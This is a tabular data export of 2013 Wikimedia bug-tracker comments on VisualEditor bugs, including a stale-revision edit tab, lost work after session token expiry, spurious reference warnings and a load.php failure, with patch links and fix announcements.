+OK, have raised a suggestion at [[MediaWiki_talk:Editingold#VE_problem]]. If there's any likely timescale for the fixing of this bug, it might be useful to comment there: is ""soon"" likely to be hours, days, or weeks?!",,,1372976195,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,0,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+239534,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"(In reply to comment #6)
+> Pending a full solution, is there any way that the pink error box can be
+> amended to include something like: ""Please click the ""Cancel"" button, then
+> Refresh/Reload the page and try again. Apologies for this temporary problem -
+> we are working on it.""
+> 
+> It's irritating for an experienced editor who has found the work-round, but
+> must be desperately confusing for a new editor who has just made an edit, had
+> an afterthought, and gets that message.
+
+The message displayed is editable by any English Wikipedia sysop; this doesn't need any code changes to alter the text, or remove the bright pinkness, but you should discuss it with the community: https://en.wikipedia.org/wiki/MediaWiki:Editingold
+
+We're hoping to get this regression fixed soon; sorry for the inconvenience.",,,1372973949,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+239529,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Pending a full solution, is there any way that the pink error box can be amended to include something like: ""Please click the ""Cancel"" button, then Refresh/Reload the page and try again. Apologies for this temporary problem - we are working on it.""
+
+It's irritating for an experienced editor who has found the work-round, but must be desperately confusing for a new editor who has just made an edit, had an afterthought, and gets that message.",,,1372973401,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+239524,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),*** Bug 50555 has been marked as a duplicate of this bug. ***,,,1372747009,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+239521,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Comment on attachment 12694
+Screen recording of the bug
+
+This is how the problem materialize for me, as you see, it jumps back to the previous revision on edit, and then complains it's not the latest revision.",,,1372597774,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,1,0
+239519,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Screen recording of the bug
+
+**Attached**: {F11340}",,,1372597673,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+239515,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"The url is http://en.wikipedia.beta.wmflabs.org/wiki/User:AzaToth/Test2?veaction=edit
+
+Following is a timeline:
+
+http://i.imgur.com/VmbT33s.png
+http://i.imgur.com/FVWEf4r.png
+http://i.imgur.com/ieTdi36.png
+http://i.imgur.com/DP0eDLs.png
+http://i.imgur.com/fNRbqeP.png",,,1372596485,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1
+239511,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"What url do you go to initially?
+After saving and reading the page, what do you see. The version from before you edited or after, and what does the url look like?
+
+When going into edit mode after saving, what does the url look like?",,,1372558082,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+52424,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","An attempt to save an article in the visual editor after a period of inactivity results in the ""Invalid token"" error message and saving fails. At this point, the user is completely stuck and their entire work is lost. 
+
+Loss of session data can also occur in the regular source code edit window, but is easily rectified by repeated saving; this doesn't work in the visual editor. 
+
+I would classify this as user-hostile behavior.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50402",Unbreak Now!,100.0,1372520820,1373917573.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-4rutvvnh7fiqox2z3go4,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+238349,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","This is now fixed in master, which will be deployed within the hour.",,,1373917573,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+238342,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73446 merged by jenkins-bot:
+mw.ViewPageTarget: Refetch token if session expired
+
+https://gerrit.wikimedia.org/r/73446",,,1373917479,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238336,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Please note that the reporter of Bug 51302 also points out that the session expiry clock already starts ticking once an article is opened for *reading*, i.e. potentially much earlier than when the visual editor is started on the article.",,,1373780299,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1
+238331,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work",I just encountered this problem.  I would call this bug a blocker as it is effectively 'dataloss' in bmo keyword terminology!,,,1373771135,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+238326,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work",*** Bug 51302 has been marked as a duplicate of this bug. ***,,,1373759844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+238319,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73446 had a related patch set uploaded by Krinkle:
+(DRAFT) mw.ViewPageTarget: Refetch token if session expired
+
+https://gerrit.wikimedia.org/r/73446",,,1373653678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238314,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73203 merged by jenkins-bot:
+mw.ViewPageTarget: Improve error message for badtoken error
+
+https://gerrit.wikimedia.org/r/73203",,,1373584937,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238309,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73189 merged by jenkins-bot:
+api: Split save action into separate API module
+
+https://gerrit.wikimedia.org/r/73189",,,1373584284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238305,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73203 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Improve error message for badtoken error
+
+https://gerrit.wikimedia.org/r/73203",,,1373566281,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238301,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73189 had a related patch set uploaded by Krinkle:
+API: Split save action into separate API module
+
+https://gerrit.wikimedia.org/r/73189",,,1373566278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52423,"VisualEditor: ref warning appears within template that contains references, post-modification","Screenshot
+
+See the screenshot; I imagine the reference is being treated as existing within the template, rather than within the template within the page - it hunts for <references\>, can't find a tag in the template itself, and freaks the heck out.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51337
+
+**Attached**: {F11303}",Unbreak Now!,100.0,1372515720,1373852785.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+238262,"VisualEditor: ref warning appears within template that contains references, post-modification",I'm forking this off into bug 51337.,,,1373852785,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+238260,"VisualEditor: ref warning appears within template that contains references, post-modification","Change 73614 had a related patch set uploaded by Esanders:
+Use new class to detect Cite errors inside templates
+
+https://gerrit.wikimedia.org/r/73614",,,1373812887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238257,"VisualEditor: ref warning appears within template that contains references, post-modification",Should probably leave this open to track improvements.,,,1373543056,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+238252,"VisualEditor: ref warning appears within template that contains references, post-modification",Also: https://gerrit.wikimedia.org/r/73096,,,1373543029,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+238247,"VisualEditor: ref warning appears within template that contains references, post-modification","These are now hidden by the above commit, which we're deploying in the next few minutes.",,,1373497983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+238241,"VisualEditor: ref warning appears within template that contains references, post-modification","Change 73092 merged by jenkins-bot:
+Hide ref errors inside MW transclusions
+
+https://gerrit.wikimedia.org/r/73092",,,1373497512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238235,"VisualEditor: ref warning appears within template that contains references, post-modification","Change 73092 had a related patch set uploaded by Esanders:
+Hide ref errors inside MW transclusions
+
+https://gerrit.wikimedia.org/r/73092",,,1373492178,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238227,"VisualEditor: ref warning appears within template that contains references, post-modification","The short-term fix is to just strip this comment from the returned HTML that the PHP parser gives us.
+
+When we switch over to using Parsoid for this, we'll need that to run in context, somehow, so the references are correctly numbered and that we know to update the relevant reference lists.",,,1372690617,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+52349,VisualEditor: Reference toolbar icon missing in wmf9,"The references list one is still there; did Trevor's change break it?
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1372404000,1372442860.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vek6torvduvoml55paap,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+233797,VisualEditor: Reference toolbar icon missing in wmf9,Fixed with new pull.,,,1372442860,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vek6torvduvoml55paap,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+52339,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,"http://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2FVE%2FGNoSR&diff=561873747&oldid=561873385
+
+Removes non-breaking space.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1372385580,1373056593.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-77axhndq3mqnxx2kqcjc,task_description,declined,True,c1,2,False,False,True,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+233191,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,"We cannot reproduce this on several different browsers/computers; it's most likely cause by a browser plug-in that the user has installed. Marking as ""WORKSFORME"" but if you can work out with the user what they have that is breaking VisualEditor it'd be good to know.",,,1373056593,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+233185,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Chrome Version 27.0.1453.116 on Windows 7 Home Premium.,,,1372412479,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233178,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Will inquire.,,,1372386501,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+233171,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Do you know which browser was used for this edit?,,,1372386315,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+233164,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Odd. I can't reproduce this locally or on the article.,,,1372386209,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52264,load.php error?  many symptoms...,"Log in to beta labs: 
+
+No navigation arrows exist in FF or Chrome
+
+Special:Preferences shows no tabs
+
+No links to VE exists even when Preferences are set
+
+In regular editor, no controls appear
+
+A number of pages e.g. user page show error Uncaught ReferenceError: mw is not defined load.php:1
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1372290900,1372325082.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-y6bkvqygqya2opqdmv3c,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+254099,load.php error?  many symptoms...,Ah it seems the cached load.php got cleared finally.   I got AFT and VisualEdit working properly now :-],,,1372325082,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1
+254093,load.php error?  many symptoms...,"AFT, VisualEditor are now working when passing ?debug=true to the URL (which bypass resourceloader cache).
+
+I have no idea how to clear the resource loader cache though :(",,,1372324986,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
